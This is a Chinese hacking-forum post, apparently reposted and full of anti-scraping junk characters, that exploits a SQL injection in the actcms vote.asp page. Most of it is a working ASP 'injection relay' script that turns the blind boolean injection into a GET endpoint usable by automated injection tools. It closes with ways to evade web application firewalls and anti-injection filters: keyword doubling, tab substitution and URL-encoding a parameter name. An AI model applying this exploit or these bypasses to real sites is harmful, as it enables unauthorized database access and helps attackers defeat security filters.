注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
3 Y3 h1 U* P) ^5 P6 R关于actcms漏洞的利用  by 3x qq:381862589
3 F0 Z' W1 J" U1 K/ v+ T6 I转载请注明以上
5 i" F/ M& ]1 s漏洞文件：
  x4 c" s( t2 A& h$ v/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

6 m7 [6 V1 E% ^' O$ Q2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

4    end if   
! Y  D- K, i7 a% k
5    for i=1 to request("voted").count   
& `$ j( k9 U/ x  U5 m) h
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

. U% K8 L+ X4 X7    next   

  ~) Y# N0 O5 }* \8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
: a6 L) G4 r0 z# v$ o+ o如果投票成功票数加1
/ n' H9 M# x" x1 g+ R            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
0 A+ ]$ o5 z% {2 P& q& @: A2 f
2009-12-27 13:20
  s' Y" m% \; N% A' f5 g- D
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
0 Z5 ^. {+ R2 Y+ `6 g; F1 q& r! Y& K' c
4 P# Q4 x5 l( q本帖隐藏的内容需要回复才可以浏览
6 g9 A; _) ^5 M' l! c我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
# D( Q4 h% i, s$ C, `9 C" h" b4 {3 R8 u
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
" [3 Q" S9 Q3 r; c/ ~: S7 f
/ J0 v6 T0 D9 k% R# t9 L  c+ r02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
  Z' A# x1 ^+ E8 j4 S
04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 I* W6 W" R& \6 U. q7 U
  P3 F  O3 t7 m  H; c05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
5 R: M" Z! O3 O; l& A
08testurl=testurl & "?" & JmStr
$ _$ F) i; J* o) ~- L
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. E, u8 F& ^) g0 z1 L/ Q
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  
) J  G1 f' ~* |3 M
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

+ e  C3 S/ F" q/ R8 S( O16  
6 a; y5 N' r& P0 d/ O& v" W
- }" Z8 \4 n- K& m17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""

19  

20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

+ P& g, }# t1 c& ?0 q( }22else

23  response.write "succeed"
2 `* w2 ?$ l, o" S! X7 B' p% L8 ~
- y% B& g5 P, B' V8 o/ e/ f5 D24end if  
' V) c- v2 g2 V
25  
% j- E, S7 ^. y( U
26response.write "by 3x"

27  

- i  S$ }8 t$ B( Q2 F8 z+ t28  
  w  u# o! \8 v
; A& F1 G1 s) w& [7 N' \29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
6 a0 R6 i9 }6 O0 [/ v/ E
+ {* |2 t( q. L5 T3 B; I# _6 v30Dim Http
! l3 \/ q  b- o8 d, o4 A+ X5 W2 t3 h4 @
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

4 k2 h' d1 |# c% H, y32With Http

33  

) B1 J  s* J; w( U4 y34.Open "GET",PostUrl,False
- x+ q6 e' T  C0 l1 s4 y
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef
" G+ u8 d7 N% t& r" N
37.SetRequestHeader "Cookie",PostCok
/ G4 |  F6 ?: Z2 V) Q* D. k
38.Send ()
9 B8 \3 E# a5 m8 t
/ T. w% k: z: a6 z7 L: n39PostData = .ResponseBody
0 }! X+ b5 y# u
8 w$ ~6 w- _6 Y. _40End With
) i% _6 ~$ Y! s4 ]' R3 K
& y. ~: z, }* V* P! M2 W41Set Http = Nothing

  a/ m/ ~! H, T% y" Z42PostData =bytes2BSTR(PostData)
, A9 p7 J2 m. j! @
43End Function

3 n* b4 z+ p7 f% {  s& V44  
# F! Z/ [0 x( Z$ u
45  

46Function bytes2BSTR(vIn)

47Dim strReturn

! f' g) A, W' o9 ^3 k48Dim I, ThisCharCode, NextCharCode
" S0 G+ `# k3 @8 m' D
49strReturn = ""
& t3 f. X7 u) J
50For I = 1 To LenB(vIn)
( j5 R6 }, ^* I  n4 F" |( @9 V
* H" c/ O# |+ `! c8 L# V51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
1 `6 T7 g2 w5 C! F/ \
* t( y$ M/ j/ n, T- m54Else
, g; }# ^- k. Q7 c
( }8 Q2 n& G% F" W" e6 d55NextCharCode = AscB(MidB(vIn, I + 1, 1))

) e- l( ^/ T! x  X+ h- b2 p56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

% @9 j3 d# O& A7 w+ L57I = I + 1

5 [$ N" p" F, k8 j3 y! }  X5 `' _4 [58End If
" k" s' O( _2 n" B
59Next
2 l' n8 M! ^7 |" \8 s9 B# L
60bytes2BSTR = strReturn

9 k+ g8 B, |. [) A3 G5 J% ~61End Function

1 H2 m7 A. r! N3 }62  

! q7 x/ m' z" S  S3 V5 x3 C; v63Function URLEncoding(vstrin)  
' X0 a* v7 g2 P  @
2 Y) I. T/ s* Z  S& Y# f64strReturn=""

3 a- ]6 M4 z. X4 d: m/ R% u65Dim i
- B* Z9 [% f1 B+ u
66For i=1 To Len(vstrin)

! S( c/ g- G7 _8 t, u67ThisChr=Mid(vstrin,i,1)
0 F# `7 t* W, O( D. U0 }2 I- y, i
7 C  D, N; f1 i0 l: T68if Abs(Asc(ThisChr))< &HFF Then
( Z8 `3 I8 m" `& X
69strReturn=strReturn & ThisChr
: e5 \9 z( y; ^8 X  ^% C+ s6 h
70Else

71InnerCode=Asc(ThisChr)

1 Y. V8 y5 K1 I: a4 `  i/ B72If InnerCode<0 Then
6 d! ~. p* L/ k9 M! @+ i
73InnerCode=InnerCode + &H10000

74End If

  K+ h% X+ s* k75Hight1=(InnerCode And &HFF00) \&HFF
! N5 m6 E3 D' n6 V4 E4 V1 I: O/ Y
9 ?4 O5 ?# ^2 V; s76Low1=InnerCode And &HFF
; w  K- A% `# y+ w0 O- o9 Z
3 o6 Z& r+ R( i# V( r" v* ?3 a77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
. @8 T4 j1 B! a! r8 h+ W
78End if
* `0 B+ F5 k, s+ a" R# Q7 @
79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
  z* L* G/ ~' K
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

" R- C4 N$ L- v' i83URLEncoding=strReturn

) }' h  |+ U/ j  `. F* Y$ F84End Function
; B* v' E( m- e4 I* \! K/ R* I
85  
& C" J# Y' g- n! t) t+ l9 d
2 I, `. m2 T' B. E86function getSt(body)
# R& w" f6 y+ h4 p8 G& y
87  startpot=instr(body,"投票人数：")+len("投票人数：")
2 \7 R  z6 q% R  `9 X
88  endpot=instr(startpot,body," ")
! v; N$ y8 N$ d0 B" U/ p5 v1 A
89  getSt=mid(body,startpot,endpot-startpot)
% o5 M* y' ]& [- R7 P
90end function

) b6 {2 [4 I7 G. D% ^' |0 c- R91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
. G) [# C4 w: b# d3 _8 L6 lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
2 W; p9 x8 b. a" t3 V" R/ W6 }$ }: t
- d8 ?) ]9 q" G' R( A2009-12-27 13:29
: ^( N2 x: l7 A投票失败
- |" T! _2 W) Z0 A. u5 [, [- Ahttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

) m  k9 d' @; ]; M. k% L1 t2009-12-27 13:29
-------------------------------------------------------------------------------
( t) @" @. s& H4 ^再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
$ |  c/ V' Y" c* m- ^3 w很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
1 p+ U; p1 n& N& F/ |6 Z& Y-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
. E" w7 T1 ]0 b( Z8 @2.post注入转成get型的注入，方便我们使用工具来跑
$ b) ?, ~1 O" h; l# \3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
  @4 E8 q8 t. b
+ c" Z, X' \) U. u